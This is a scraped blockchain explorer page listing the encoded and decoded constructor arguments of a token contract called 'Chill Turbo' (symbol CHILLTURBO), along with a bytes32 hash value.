000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0ce67caea0d6152dda00eb4e7635b9bee401b82fa24427f0f7c7f8a72fe5f33e2000000000000000000000000000000000000000000000000000000000000000b4368696c6c20547572626f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a4348494c4c545552424f00000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : tokenName (string): Chill Turbo
Arg [1] : tokenSymbol (string): CHILLTURBO
Arg [2] : hashing (bytes32): 0xce67caea0d6152dda00eb4e7635b9bee401b82fa24427f0f7c7f8a72fe5f33e2

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : ce67caea0d6152dda00eb4e7635b9bee401b82fa24427f0f7c7f8a72fe5f33e2
Arg [3] : 000000000000000000000000000000000000000000000000000000000000000b
Arg [4] : 4368696c6c20547572626f000000000000000000000000000000000000000000
Arg [5] : 000000000000000000000000000000000000000000000000000000000000000a
Arg [6] : 4348494c4c545552424f00000000000000000000000000000000000000000000


Block Transaction Gas Used Reward
view all blocks produced
Age Block Fee Address BC Fee Address Voting Power Jailed Incoming
View All Validatorset

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.